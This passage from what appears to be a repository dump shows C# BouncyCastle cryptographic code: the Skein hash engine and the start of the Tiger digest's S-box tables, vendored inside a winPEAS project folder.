   get { return type; }\n            }\n\n            public byte[] Value\n            {\n                get { return value; }\n            }\n\n        }\n\n        /**\n         * The parameter type for the Skein key.\n         */\n        private const int PARAM_TYPE_KEY = 0;\n\n        /**\n         * The parameter type for the Skein configuration block.\n         */\n        private const int PARAM_TYPE_CONFIG = 4;\n\n        /**\n         * The parameter type for the message.\n         */\n        private const int PARAM_TYPE_MESSAGE = 48;\n\n        /**\n         * The parameter type for the output transformation.\n         */\n        private const int PARAM_TYPE_OUTPUT = 63;\n\n        /**\n         * Precalculated UBI(CFG) states for common state/output combinations without key or other\n         * pre-message params.\n         */\n        private static readonly IDictionary INITIAL_STATES = Platform.CreateHashtable();\n\n        static SkeinEngine()\n        {\n            // From Appendix C of the Skein 1.3 NIST submission\n            InitialState(SKEIN_256, 128, new ulong[]{\n                0xe1111906964d7260UL,\n                0x883daaa77c8d811cUL,\n                0x10080df491960f7aUL,\n                0xccf7dde5b45bc1c2UL});\n\n            InitialState(SKEIN_256, 160, new ulong[]{\n                0x1420231472825e98UL,\n                0x2ac4e9a25a77e590UL,\n                0xd47a58568838d63eUL,\n                0x2dd2e4968586ab7dUL});\n\n            InitialState(SKEIN_256, 224, new ulong[]{\n                0xc6098a8c9ae5ea0bUL,\n                0x876d568608c5191cUL,\n                0x99cb88d7d7f53884UL,\n                0x384bddb1aeddb5deUL});\n\n            InitialState(SKEIN_256, 256, new ulong[]{\n                0xfc9da860d048b449UL,\n                0x2fca66479fa7d833UL,\n                0xb33bc3896656840fUL,\n                0x6a54e920fde8da69UL});\n\n            InitialState(SKEIN_512, 128, new ulong[]{\n                0xa8bc7bf36fbf9f52UL,\n                0x1e9872cebd1af0aaUL,\n                0x309b1790b32190d3UL,\n                0xbcfbb8543f94805cUL,\n                0x0da61bcd6e31b11bUL,\n                0x1a18ebead46a32e3UL,\n                0xa2cc5b18ce84aa82UL,\n                0x6982ab289d46982dUL});\n\n            InitialState(SKEIN_512, 160, new ulong[]{\n                0x28b81a2ae013bd91UL,\n                0xc2f11668b5bdf78fUL,\n                0x1760d8f3f6a56f12UL,\n                0x4fb747588239904fUL,\n                0x21ede07f7eaf5056UL,\n                0xd908922e63ed70b8UL,\n                0xb8ec76ffeccb52faUL,\n                0x01a47bb8a3f27a6eUL});\n\n            InitialState(SKEIN_512, 224, new ulong[]{\n                0xccd0616248677224UL,\n                0xcba65cf3a92339efUL,\n                0x8ccd69d652ff4b64UL,\n                0x398aed7b3ab890b4UL,\n                0x0f59d1b1457d2bd0UL,\n                0x6776fe6575d4eb3dUL,\n                0x99fbc70e997413e9UL,\n                0x9e2cfccfe1c41ef7UL});\n\n            InitialState(SKEIN_512, 384, new ulong[]{\n                0xa3f6c6bf3a75ef5fUL,\n                0xb0fef9ccfd84faa4UL,\n                0x9d77dd663d770cfeUL,\n                0xd798cbf3b468fddaUL,\n                0x1bc4a6668a0e4465UL,\n                0x7ed7d434e5807407UL,\n                0x548fc1acd4ec44d6UL,\n                0x266e17546aa18ff8UL});\n\n            InitialState(SKEIN_512, 512, new ulong[]{\n                0x4903adff749c51ceUL,\n                0x0d95de399746df03UL,\n                0x8fd1934127c79bceUL,\n                0x9a255629ff352cb1UL,\n                0x5db62599df6ca7b0UL,\n                0xeabe394ca9d5c3f4UL,\n                0x991112c71a75b523UL,\n                0xae18a40b660fcc33UL});\n        }\n\n        private static void InitialState(int blockSize, int outputSize, ulong[] state)\n        {\n            INITIAL_STATES.Add(VariantIdentifier(blockSize / 8, outputSize / 8), state);\n        }\n\n        private static int VariantIdentifier(int blockSizeBytes, int outputSizeBytes)\n        {\n            return (outputSizeBytes << 16) | blockSizeBytes;\n        }\n\n        private class UbiTweak\n        {\n            /**\n             * Point at which position might overflow long, so switch to add with carry logic\n             */\n            private const ulong LOW_RANGE = UInt64.MaxValue - UInt32.MaxValue;\n\n            /**\n             * Bit 127 = final\n             */\n            private const ulong T1_FINAL = 1UL << 63;\n\n            /**\n             * Bit 126 = first\n             */\n            private const ulong T1_FIRST = 1UL << 62;\n\n            /**\n             * UBI uses a 128 bit tweak\n             */\n            private ulong[] tweak = new ulong[2];\n\n            /**\n             * Whether 64 bit position exceeded\n             */\n            private bool extendedPosition;\n\n            public UbiTweak()\n            {\n                Reset();\n            }\n\n            public void Reset(UbiTweak tweak)\n            {\n                this.tweak = Arrays.Clone(tweak.tweak, this.tweak);\n                this.extendedPosition = tweak.extendedPosition;\n            }\n\n            public void Reset()\n            {\n                tweak[0] = 0;\n                tweak[1] = 0;\n                extendedPosition = false;\n                First = true;\n            }\n\n            public uint Type \n            {\n                get \n                {\n                    return (uint)((tweak[1] >> 56) & 0x3FUL);\n                }\n\n                set \n                {\n                    // Bits 120..125 = type\n                    tweak[1] = (tweak[1] & 0xFFFFFFC000000000UL) | ((value & 0x3FUL) << 56);\n                }\n            }\n\n            public bool First\n            {\n                get\n                {\n                    return ((tweak[1] & T1_FIRST) != 0);\n                }\n                set\n                {\n                    if (value)\n                    {\n                        tweak[1] |= T1_FIRST;\n                    }\n                    else\n                    {\n                        tweak[1] &= ~T1_FIRST;\n                    }\n                }\n            }\n\n            public bool Final\n            {\n                get\n                {\n                    return ((tweak[1] & T1_FINAL) != 0);\n                }\n                set\n                {\n                    if (value)\n                    {\n                        tweak[1] |= T1_FINAL;\n                    }\n                    else\n                    {\n                        tweak[1] &= ~T1_FINAL;\n                    }\n                }\n            }\n\n            /**\n             * Advances the position in the tweak by the specified value.\n             */\n            public void AdvancePosition(int advance)\n            {\n                // Bits 0..95 = position\n                if (extendedPosition)\n                {\n                    ulong[] parts = new ulong[3];\n                    parts[0] = tweak[0] & 0xFFFFFFFFUL;\n                    parts[1] = (tweak[0] >> 32) & 0xFFFFFFFFUL;\n                    parts[2] = tweak[1] & 0xFFFFFFFFUL;\n\n                    ulong carry = (ulong)advance;\n                    for (int i = 0; i < parts.Length; i++)\n                    {\n                        carry += parts[i];\n                        parts[i] = carry;\n                        carry >>= 32;\n                    }\n                    tweak[0] = ((parts[1] & 0xFFFFFFFFUL) << 32) | (parts[0] & 0xFFFFFFFFUL);\n                    tweak[1] = (tweak[1] & 0xFFFFFFFF00000000UL) | (parts[2] & 0xFFFFFFFFUL);\n                }\n                else\n                {\n                    ulong position = tweak[0];\n                    position += (uint)advance;\n                    tweak[0] = position;\n                    if (position > LOW_RANGE)\n                    {\n                        extendedPosition = true;\n                    }\n                }\n            }\n\n            public ulong[] GetWords()\n            {\n                return tweak;\n            }\n\n            public override string ToString()\n            {\n                return Type + \" first: \" + First + \", final: \" + Final;\n            }\n\n        }\n\n        /**\n         * The Unique Block Iteration chaining mode.\n         */\n        // TODO: This might be better as methods...\n        private class UBI\n        {\n            private readonly UbiTweak tweak = new UbiTweak();\n\n            private readonly SkeinEngine engine;\n\n            /**\n             * Buffer for the current block of message data\n             */\n            private byte[] currentBlock;\n\n            /**\n             * Offset into the current message block\n             */\n            private int currentOffset;\n\n            /**\n             * Buffer for message words for feedback into encrypted block\n             */\n            private ulong[] message;\n\n            public UBI(SkeinEngine engine, int blockSize)\n            {\n                this.engine = engine;\n                currentBlock = new byte[blockSize];\n                message = new ulong[currentBlock.Length / 8];\n            }\n\n            public void Reset(UBI ubi)\n            {\n                currentBlock = Arrays.Clone(ubi.currentBlock, currentBlock);\n                currentOffset = ubi.currentOffset;\n                message = Arrays.Clone(ubi.message, this.message);\n                tweak.Reset(ubi.tweak);\n            }\n\n            public void Reset(int type)\n            {\n                tweak.Reset();\n                tweak.Type = (uint)type;\n                currentOffset = 0;\n            }\n\n            public void Update(byte[] value, int offset, int len, ulong[] output)\n            {\n                /*\n                 * Buffer complete blocks for the underlying Threefish cipher, only flushing when there\n                 * are subsequent bytes (last block must be processed in doFinal() with final=true set).\n                 */\n                int copied = 0;\n                while (len > copied)\n                {\n                    if (currentOffset == currentBlock.Length)\n                    {\n                        ProcessBlock(output);\n                        tweak.First = false;\n                        currentOffset = 0;\n                    }\n\n                    int toCopy = System.Math.Min((len - copied), currentBlock.Length - currentOffset);\n                    Array.Copy(value, offset + copied, currentBlock, currentOffset, toCopy);\n                    copied += toCopy;\n                    currentOffset += toCopy;\n                    tweak.AdvancePosition(toCopy);\n                }\n            }\n\n            private void ProcessBlock(ulong[] output)\n            {\n                engine.threefish.Init(true, engine.chain, tweak.GetWords());\n                for (int i = 0; i < message.Length; i++)\n                {\n                    message[i] = ThreefishEngine.BytesToWord(currentBlock, i * 8);\n                }\n\n                engine.threefish.ProcessBlock(message, output);\n\n                for (int i = 0; i < output.Length; i++)\n                {\n                    output[i] ^= message[i];\n                }\n            }\n\n            public void DoFinal(ulong[] output)\n            {\n                // Pad remainder of current block with zeroes\n                for (int i = currentOffset; i < currentBlock.Length; i++)\n                {\n                    currentBlock[i] = 0;\n                }\n\n                tweak.Final = true;\n                ProcessBlock(output);\n            }\n\n        }\n\n        /**\n         * Underlying Threefish tweakable block cipher\n         */\n        private readonly ThreefishEngine threefish;\n\n        /**\n         * Size of the digest output, in bytes\n         */\n        private readonly int outputSizeBytes;\n\n        /**\n         * The current chaining/state value\n         */\n        private ulong[] chain;\n\n        /**\n         * The initial state value\n         */\n        private ulong[] initialState;\n\n        /**\n         * The (optional) key parameter\n         */\n        private byte[] key;\n\n        /**\n         * Parameters to apply prior to the message\n         */\n        private Parameter[] preMessageParameters;\n\n        /**\n         * Parameters to apply after the message, but prior to output\n         */\n        private Parameter[] postMessageParameters;\n\n        /**\n         * The current UBI operation\n         */\n        private readonly UBI ubi;\n\n        /**\n         * Buffer for single byte update method\n         */\n        private readonly byte[] singleByte = new byte[1];\n\n        /// <summary>\n        /// Constructs a Skein digest with an internal state size and output size.\n        /// </summary>\n        /// <param name=\"blockSizeBits\">the internal state size in bits - one of <see cref=\"SKEIN_256\"/> <see cref=\"SKEIN_512\"/> or\n        ///                       <see cref=\"SKEIN_1024\"/>.</param>\n        /// <param name=\"outputSizeBits\">the output/digest size to produce in bits, which must be an integral number of\n        ///                      bytes.</param>\n        public SkeinEngine(int blockSizeBits, int outputSizeBits)\n        {\n            if (outputSizeBits % 8 != 0)\n            {\n                throw new ArgumentException(\"Output size must be a multiple of 8 bits. :\" + outputSizeBits);\n            }\n            // TODO: Prevent digest sizes > block size?\n            this.outputSizeBytes = outputSizeBits / 8;\n\n            this.threefish = new ThreefishEngine(blockSizeBits);\n            this.ubi = new UBI(this,threefish.GetBlockSize());\n        }\n\n        /// <summary>\n        /// Creates a SkeinEngine as an exact copy of an existing instance.\n        /// </summary>\n        public SkeinEngine(SkeinEngine engine)\n            : this(engine.BlockSize * 8, engine.OutputSize * 8)\n        {\n            CopyIn(engine);\n        }\n\n        private void CopyIn(SkeinEngine engine)\n        {\n            this.ubi.Reset(engine.ubi);\n            this.chain = Arrays.Clone(engine.chain, this.chain);\n            this.initialState = Arrays.Clone(engine.initialState, this.initialState);\n            this.key = Arrays.Clone(engine.key, this.key);\n            this.preMessageParameters = Clone(engine.preMessageParameters, this.preMessageParameters);\n            this.postMessageParameters = Clone(engine.postMessageParameters, this.postMessageParameters);\n        }\n\n        private static Parameter[] Clone(Parameter[] data, Parameter[] existing)\n        {\n            if (data == null)\n            {\n                return null;\n            }\n            if ((existing == null) || (existing.Length != data.Length))\n            {\n                existing = new Parameter[data.Length];\n            }\n            Array.Copy(data, 0, existing, 0, existing.Length);\n            return existing;\n        }\n\n        public IMemoable Copy()\n        {\n            return new SkeinEngine(this);\n        }\n\n        public void Reset(IMemoable other)\n        {\n            SkeinEngine s = (SkeinEngine)other;\n            if ((BlockSize != s.BlockSize) || (outputSizeBytes != s.outputSizeBytes))\n            {\n                throw new MemoableResetException(\"Incompatible parameters in provided SkeinEngine.\");\n            }\n            CopyIn(s);\n        }\n\n        public int OutputSize\n        {\n            get { return outputSizeBytes; }\n        }\n\n        public int BlockSize\n        {\n            get { return threefish.GetBlockSize (); }\n        }\n\n        /// <summary>\n        /// Initialises the Skein engine with the provided parameters. See <see cref=\"Org.BouncyCastle.Crypto.Parameters.SkeinParameters\"/> for\n        /// details on the parameterisation of the Skein hash function.\n        /// </summary>\n        /// <param name=\"parameters\">the parameters to apply to this engine, or <code>null</code> to use no parameters.</param>\n        public void Init(SkeinParameters parameters)\n        {\n            this.chain = null;\n            this.key = null;\n            this.preMessageParameters = null;\n            this.postMessageParameters = null;\n\n            if (parameters != null)\n            {\n                byte[] key = parameters.GetKey();\n                if (key.Length < 16)\n                {\n                    throw new ArgumentException(\"Skein key must be at least 128 bits.\");\n                }\n                InitParams(parameters.GetParameters());\n            }\n            CreateInitialState();\n\n            // Initialise message block\n            UbiInit(PARAM_TYPE_MESSAGE);\n        }\n\n        private void InitParams(IDictionary parameters)\n        {\n            IEnumerator keys = parameters.Keys.GetEnumerator();\n            IList pre = Platform.CreateArrayList();\n            IList post = Platform.CreateArrayList();\n\n            while (keys.MoveNext())\n            {\n                int type = (int)keys.Current;\n                byte[] value = (byte[])parameters[type];\n\n                if (type == PARAM_TYPE_KEY)\n                {\n                    this.key = value;\n                }\n                else if (type < PARAM_TYPE_MESSAGE)\n                {\n                    pre.Add(new Parameter(type, value));\n                }\n                else\n                {\n                    post.Add(new Parameter(type, value));\n                }\n            }\n            preMessageParameters = new Parameter[pre.Count];\n            pre.CopyTo(preMessageParameters, 0);\n            Array.Sort(preMessageParameters);\n\n            postMessageParameters = new Parameter[post.Count];\n            post.CopyTo(postMessageParameters, 0);\n            Array.Sort(postMessageParameters);\n        }\n\n        /**\n         * Calculate the initial (pre message block) chaining state.\n         */\n        private void CreateInitialState()\n        {\n            ulong[] precalc = (ulong[])INITIAL_STATES[VariantIdentifier(BlockSize, OutputSize)];\n            if ((key == null) && (precalc != null))\n            {\n                // Precalculated UBI(CFG)\n                chain = Arrays.Clone(precalc);\n            }\n            else\n            {\n                // Blank initial state\n                chain = new ulong[BlockSize / 8];\n\n                // Process key block\n                if (key != null)\n                {\n                    UbiComplete(SkeinParameters.PARAM_TYPE_KEY, key);\n                }\n\n                // Process configuration block\n                UbiComplete(PARAM_TYPE_CONFIG, new Configuration(outputSizeBytes * 8).Bytes);\n            }\n\n            // Process additional pre-message parameters\n            if (preMessageParameters != null)\n            {\n                for (int i = 0; i < preMessageParameters.Length; i++)\n                {\n                    Parameter param = preMessageParameters[i];\n                    UbiComplete(param.Type, param.Value);\n                }\n            }\n            initialState = Arrays.Clone(chain);\n        }\n\n        /// <summary>\n        /// Reset the engine to the initial state (with the key and any pre-message parameters , ready to\n        /// accept message input.\n        /// </summary>\n        public void Reset()\n        {\n            Array.Copy(initialState, 0, chain, 0, chain.Length);\n\n            UbiInit(PARAM_TYPE_MESSAGE);\n        }\n\n        private void UbiComplete(int type, byte[] value)\n        {\n            UbiInit(type);\n            this.ubi.Update(value, 0, value.Length, chain);\n            UbiFinal();\n        }\n\n        private void UbiInit(int type)\n        {\n            this.ubi.Reset(type);\n        }\n\n        private void UbiFinal()\n        {\n            ubi.DoFinal(chain);\n        }\n\n        private void CheckInitialised()\n        {\n            if (this.ubi == null)\n            {\n                throw new ArgumentException(\"Skein engine is not initialised.\");\n            }\n        }\n\n        public void Update(byte inByte)\n        {\n            singleByte[0] = inByte;\n            Update(singleByte, 0, 1);\n        }\n\n        public void Update(byte[] inBytes, int inOff, int len)\n        {\n            CheckInitialised();\n            ubi.Update(inBytes, inOff, len, chain);\n        }\n\n        public int DoFinal(byte[] outBytes, int outOff)\n        {\n            CheckInitialised();\n            if (outBytes.Length < (outOff + outputSizeBytes))\n            {\n                throw new DataLengthException(\"Output buffer is too short to hold output\");\n            }\n\n            // Finalise message block\n            UbiFinal();\n\n            // Process additional post-message parameters\n            if (postMessageParameters != null)\n            {\n                for (int i = 0; i < postMessageParameters.Length; i++)\n                {\n                    Parameter param = postMessageParameters[i];\n                    UbiComplete(param.Type, param.Value);\n                }\n            }\n\n            // Perform the output transform\n            int blockSize = BlockSize;\n            int blocksRequired = ((outputSizeBytes + blockSize - 1) / blockSize);\n            for (int i = 0; i < blocksRequired; i++)\n            {\n                int toWrite = System.Math.Min(blockSize, outputSizeBytes - (i * blockSize));\n                Output((ulong)i, outBytes, outOff + (i * blockSize), toWrite);\n            }\n\n            Reset();\n\n            return outputSizeBytes;\n        }\n\n        private void Output(ulong outputSequence, byte[] outBytes, int outOff, int outputBytes)\n        {\n            byte[] currentBytes = new byte[8];\n            ThreefishEngine.WordToBytes(outputSequence, currentBytes, 0);\n\n            // Output is a sequence of UBI invocations all of which use and preserve the pre-output\n            // state\n            ulong[] outputWords = new ulong[chain.Length];\n            UbiInit(PARAM_TYPE_OUTPUT);\n            this.ubi.Update(currentBytes, 0, currentBytes.Length, outputWords);\n            ubi.DoFinal(outputWords);\n\n            int wordsRequired = ((outputBytes + 8 - 1) / 8);\n            for (int i = 0; i < wordsRequired; i++)\n            {\n                int toWrite = System.Math.Min(8, outputBytes - (i * 8));\n                if (toWrite == 8)\n                {\n                    ThreefishEngine.WordToBytes(outputWords[i], outBytes, outOff + (i * 8));\n                }\n                else\n                {\n                    ThreefishEngine.WordToBytes(outputWords[i], currentBytes, 0);\n                    Array.Copy(currentBytes, 0, outBytes, outOff + (i * 8), toWrite);\n                }\n            }\n        }\n\n    }\n}\n\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/TigerDigest.cs",
    "content": "using System;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n    /**\n    * implementation of Tiger based on:\n    * <a href=\"http://www.cs.technion.ac.il/~biham/Reports/Tiger\">\n    *  http://www.cs.technion.ac.il/~biham/Reports/Tiger</a>\n    */\n    public class TigerDigest\n\t\t: IDigest, IMemoable\n    {\n        private const int MyByteLength = 64;\n\n        /*\n        * S-Boxes.\n        */\n        private static readonly long[] t1 = {\n            unchecked((long) 0x02AAB17CF7E90C5EL)   /*    0 */,    unchecked((long) 0xAC424B03E243A8ECL)   /*    1 */,\n            unchecked((long) 0x72CD5BE30DD5FCD3L)   /*    2 */,    unchecked((long) 0x6D019B93F6F97F3AL)   /*    3 */,\n            unchecked((long) 0xCD9978FFD21F9193L)   /*    4 */,    unchecked((long) 0x7573A1C9708029E2L)   /*    5 */,\n            unchecked((long) 0xB164326B922A83C3L)   /*    6 */,    unchecked((long) 0x46883EEE04915870L)   /*    7 */,\n            unchecked((long) 0xEAACE3057103ECE6L)   /*    8 */,    unchecked((long) 0xC54169B808A3535CL)   /*    9 */,\n            unchecked((long) 0x4CE754918DDEC47CL)   /*   10 */,    unchecked((long) 0x0AA2F4DFDC0DF40CL)   /*   11 */,\n            unchecked((long) 0x10B76F18A74DBEFAL)   /*   12 */,    unchecked((long) 0xC6CCB6235AD1AB6AL)   /*   13 */,\n            unchecked((long) 0x13726121572FE2FFL)   /*   14 */,    unchecked((long) 0x1A488C6F199D921EL)   /*   15 */,\n            unchecked((long) 0x4BC9F9F4DA0007CAL)   /*   16 */,    unchecked((long) 0x26F5E6F6E85241C7L)   /*   17 */,\n            unchecked((long) 0x859079DBEA5947B6L)   /*   18 */,    unchecked((long) 0x4F1885C5C99E8C92L)   /*   19 */,\n            unchecked((long) 0xD78E761EA96F864BL)   /*   20 */,    unchecked((long) 0x8E36428C52B5C17DL)   /*   21 */,\n            unchecked((long) 0x69CF6827373063C1L)   /*   22 */,    unchecked((long) 0xB607C93D9BB4C56EL)   /*   23 */,\n            unchecked((long) 0x7D820E760E76B5EAL)   /*   24 */,    unchecked((long) 0x645C9CC6F07FDC42L)   /*   25 */,\n            unchecked((long) 0xBF38A078243342E0L)   /*   26 */,    unchecked((long) 0x5F6B343C9D2E7D04L)   /*   27 */,\n            unchecked((long) 0xF2C28AEB600B0EC6L)   /*   28 */,    unchecked((long) 0x6C0ED85F7254BCACL)   /*   29 */,\n            unchecked((long) 0x71592281A4DB4FE5L)   /*   30 */,    unchecked((long) 0x1967FA69CE0FED9FL)   /*   31 */,\n            unchecked((long) 0xFD5293F8B96545DBL)   /*   32 */,    unchecked((long) 0xC879E9D7F2A7600BL)   /*   33 */,\n            unchecked((long) 0x860248920193194EL)   /*   34 */,    unchecked((long) 0xA4F9533B2D9CC0B3L)   /*   35 */,\n            unchecked((long) 0x9053836C15957613L)   /*   36 */,    unchecked((long) 0xDB6DCF8AFC357BF1L)   /*   37 */,\n            unchecked((long) 0x18BEEA7A7A370F57L)   /*   38 */,    unchecked((long) 0x037117CA50B99066L)   /*   39 */,\n            unchecked((long) 0x6AB30A9774424A35L)   /*   40 */,    unchecked((long) 0xF4E92F02E325249BL)   /*   41 */,\n            unchecked((long) 0x7739DB07061CCAE1L)   /*   42 */,    unchecked((long) 0xD8F3B49CECA42A05L)   /*   43 */,\n            unchecked((long) 0xBD56BE3F51382F73L)   /*   44 */,    unchecked((long) 0x45FAED5843B0BB28L)   /*   45 */,\n            unchecked((long) 0x1C813D5C11BF1F83L)   /*   46 */,    unchecked((long) 0x8AF0E4B6D75FA169L)   /*   47 */,\n            unchecked((long) 0x33EE18A487AD9999L)   /*   48 */,    unchecked((long) 0x3C26E8EAB1C94410L)   /*   49 */,\n            unchecked((long) 0xB510102BC0A822F9L)   /*   50 */,    unchecked((long) 0x141EEF310CE6123BL)   /*   51 */,\n            unchecked((long) 0xFC65B90059DDB154L)   /*   52 */,    unchecked((long) 0xE0158640C5E0E607L)   /*   53 */,\n            unchecked((long) 0x884E079826C3A3CFL)   /*   54 */,    unchecked((long) 0x930D0D9523C535FDL)   /*   55 */,\n            unchecked((long) 0x35638D754E9A2B00L)   /*   56 */,    unchecked((long) 0x4085FCCF40469DD5L)   /*   57 */,\n            unchecked((long) 0xC4B17AD28BE23A4CL)   /*   58 */,    unchecked((long) 0xCAB2F0FC6A3E6A2EL)   /*   59 */,\n            unchecked((long) 0x2860971A6B943FCDL)   /*   60 */,    unchecked((long) 0x3DDE6EE212E30446L)   /*   61 */,\n            unchecked((long) 0x6222F32AE01765AEL)   /*   62 */,    unchecked((long) 0x5D550BB5478308FEL)   /*   63 */,\n            unchecked((long) 0xA9EFA98DA0EDA22AL)   /*   64 */,    unchecked((long) 0xC351A71686C40DA7L)   /*   65 */,\n            unchecked((long) 0x1105586D9C867C84L)   /*   66 */,    unchecked((long) 0xDCFFEE85FDA22853L)   /*   67 */,\n            unchecked((long) 0xCCFBD0262C5EEF76L)   /*   68 */,    unchecked((long) 0xBAF294CB8990D201L)   /*   69 */,\n            unchecked((long) 0xE69464F52AFAD975L)   /*   70 */,    unchecked((long) 0x94B013AFDF133E14L)   /*   71 */,\n            unchecked((long) 0x06A7D1A32823C958L)   /*   72 */,    unchecked((long) 0x6F95FE5130F61119L)   /*   73 */,\n            unchecked((long) 0xD92AB34E462C06C0L)   /*   74 */,    unchecked((long) 0xED7BDE33887C71D2L)   /*   75 */,\n            unchecked((long) 0x79746D6E6518393EL)   /*   76 */,    unchecked((long) 0x5BA419385D713329L)   /*   77 */,\n            unchecked((long) 0x7C1BA6B948A97564L)   /*   78 */,    unchecked((long) 0x31987C197BFDAC67L)   /*   79 */,\n            unchecked((long) 0xDE6C23C44B053D02L)   /*   80 */,    unchecked((long) 0x581C49FED002D64DL)   /*   81 */,\n            unchecked((long) 0xDD474D6338261571L)   /*   82 */,    unchecked((long) 0xAA4546C3E473D062L)   /*   83 */,\n            unchecked((long) 0x928FCE349455F860L)   /*   84 */,    unchecked((long) 0x48161BBACAAB94D9L)   /*   85 */,\n            unchecked((long) 0x63912430770E6F68L)   /*   86 */,    unchecked((long) 0x6EC8A5E602C6641CL)   /*   87 */,\n            unchecked((long) 0x87282515337DDD2BL)   /*   88 */,    unchecked((long) 0x2CDA6B42034B701BL)   /*   89 */,\n            unchecked((long) 0xB03D37C181CB096DL)   /*   90 */,    unchecked((long) 0xE108438266C71C6FL)   /*   91 */,\n            unchecked((long) 0x2B3180C7EB51B255L)   /*   92 */,    unchecked((long) 0xDF92B82F96C08BBCL)   /*   93 */,\n            unchecked((long) 0x5C68C8C0A632F3BAL)   /*   94 */,    unchecked((long) 0x5504CC861C3D0556L)   /*   95 */,\n            unchecked((long) 0xABBFA4E55FB26B8FL)   /*   96 */,    unchecked((long) 0x41848B0AB3BACEB4L)   /*   97 */,\n            unchecked((long) 0xB334A273AA445D32L)   /*   98 */,    unchecked((long) 0xBCA696F0A85AD881L)   /*   99 */,\n            unchecked((long) 0x24F6EC65B528D56CL)   /*  100 */,    unchecked((long) 0x0CE1512E90F4524AL)   /*  101 */,\n            unchecked((long) 0x4E9DD79D5506D35AL)   /*  102 */,    unchecked((long) 0x258905FAC6CE9779L)   /*  103 */,\n            unchecked((long) 0x2019295B3E109B33L)   /*  104 */,    unchecked((long) 0xF8A9478B73A054CCL)   /*  105 */,\n            unchecked((long) 0x2924F2F934417EB0L)   /*  106 */,    unchecked((long) 0x3993357D536D1BC4L)   /*  107 */,\n            unchecked((long) 0x38A81AC21DB6FF8BL)   /*  108 */,    unchecked((long) 0x47C4FBF17D6016BFL)   /*  109 */,\n            unchecked((long) 0x1E0FAADD7667E3F5L)   /*  110 */,    unchecked((long) 0x7ABCFF62938BEB96L)   /*  111 */,\n            unchecked((long) 0xA78DAD948FC179C9L)   /*  112 */,    unchecked((long) 0x8F1F98B72911E50DL)   /*  113 */,\n            unchecked((long) 0x61E48EAE27121A91L)   /*  114 */,    unchecked((long) 0x4D62F7AD31859808L)   /*  115 */,\n            unchecked((long) 0xECEBA345EF5CEAEBL)   /*  116 */,    unchecked((long) 0xF5CEB25EBC9684CEL)   /*  117 */,\n            unchecked((long) 0xF633E20CB7F76221L)   /*  118 */,    unchecked((long) 0xA32CDF06AB8293E4L)   /*  119 */,\n            unchecked((long) 0x985A202CA5EE2CA4L)   /*  120 */,    unchecked((long) 0xCF0B8447CC8A8FB1L)   /*  121 */,\n            unchecked((long) 0x9F765244979859A3L)   /*  122 */,    unchecked((long) 0xA8D516B1A1240017L)   /*  123 */,\n            unchecked((long) 0x0BD7BA3EBB5DC726L)   /*  124 */,    unchecked((long) 0xE54BCA55B86ADB39L)   /*  125 */,\n            unchecked((long) 0x1D7A3AFD6C478063L)   /*  126 */,    unchecked((long) 0x519EC608E7669EDDL)   /*  127 */,\n            unchecked((long) 0x0E5715A2D149AA23L)   /*  128 */,    unchecked((long) 0x177D4571848FF194L)   /*  129 */,\n            unchecked((long) 0xEEB55F3241014C22L)   /*  130 */,    unchecked((long) 0x0F5E5CA13A6E2EC2L)   /*  131 */,\n            unchecked((long) 0x8029927B75F5C361L)   /*  132 */,    unchecked((long) 0xAD139FABC3D6E436L)   /*  133 */,\n            unchecked((long) 0x0D5DF1A94CCF402FL)   /*  134 */,    unchecked((long) 0x3E8BD948BEA5DFC8L)   /*  135 */,\n            unchecked((long) 0xA5A0D357BD3FF77EL)   /*  136 */,    unchecked((long) 0xA2D12E251F74F645L)   /*  137 */,\n            unchecked((long) 0x66FD9E525E81A082L)   /*  138 */,    unchecked((long) 0x2E0C90CE7F687A49L)   /*  139 */,\n            unchecked((long) 0xC2E8BCBEBA973BC5L)   /*  140 */,    unchecked((long) 0x000001BCE509745FL)   /*  141 */,\n            unchecked((long) 0x423777BBE6DAB3D6L)   /*  142 */,    unchecked((long) 0xD1661C7EAEF06EB5L)   /*  143 */,\n            unchecked((long) 0xA1781F354DAACFD8L)   /*  144 */,    unchecked((long) 0x2D11284A2B16AFFCL)   /*  145 */,\n            unchecked((long) 0xF1FC4F67FA891D1FL)   /*  146 */,    unchecked((long) 0x73ECC25DCB920ADAL)   /*  147 */,\n            unchecked((long) 0xAE610C22C2A12651L)   /*  148 */,    unchecked((long) 0x96E0A810D356B78AL)   /*  149 */,\n            unchecked((long) 0x5A9A381F2FE7870FL)   /*  150 */,    unchecked((long) 0xD5AD62EDE94E5530L)   /*  151 */,\n            unchecked((long) 0xD225E5E8368D1427L)   /*  152 */,    unchecked((long) 0x65977B70C7AF4631L)   /*  153 */,\n            unchecked((long) 0x99F889B2DE39D74FL)   /*  154 */,    unchecked((long) 0x233F30BF54E1D143L)   /*  155 */,\n            unchecked((long) 0x9A9675D3D9A63C97L)   /*  156 */,    unchecked((long) 0x5470554FF334F9A8L)   /*  157 */,\n            unchecked((long) 0x166ACB744A4F5688L)   /*  158 */,    unchecked((long) 0x70C74CAAB2E4AEADL)   /*  159 */,\n            unchecked((long) 0xF0D091646F294D12L)   /*  160 */,    unchecked((long) 0x57B82A89684031D1L)   /*  161 */,\n            unchecked((long) 0xEFD95A5A61BE0B6BL)   /*  162 */,    unchecked((long) 0x2FBD12E969F2F29AL)   /*  163 */,\n            unchecked((long) 0x9BD37013FEFF9FE8L)   /*  164 */,    unchecked((long) 0x3F9B0404D6085A06L)   /*  165 */,\n            unchecked((long) 0x4940C1F3166CFE15L)   /*  166 */,    unchecked((long) 0x09542C4DCDF3DEFBL)   /*  167 */,\n            unchecked((long) 0xB4C5218385CD5CE3L)   /*  168 */,    unchecked((long) 0xC935B7DC4462A641L)   /*  169 */,\n            unchecked((long) 0x3417F8A68ED3B63FL)   /*  170 */,    unchecked((long) 0xB80959295B215B40L)   /*  171 */,\n            unchecked((long) 0xF99CDAEF3B8C8572L)   /*  172 */,    unchecked((long) 0x018C0614F8FCB95DL)   /*  173 */,\n            unchecked((long) 0x1B14ACCD1A3ACDF3L)   /*  174 */,    unchecked((long) 0x84D471F200BB732DL)   /*  175 */,\n            unchecked((long) 0xC1A3110E95E8DA16L)   /*  176 */,    unchecked((long) 0x430A7220BF1A82B8L)   /*  177 */,\n            unchecked((long) 0xB77E090D39DF210EL)   /*  178 */,    unchecked((long) 0x5EF4BD9F3CD05E9DL)   /*  179 */,\n            unchecked((long) 0x9D4FF6DA7E57A444L)   /*  180 */,    unchecked((long) 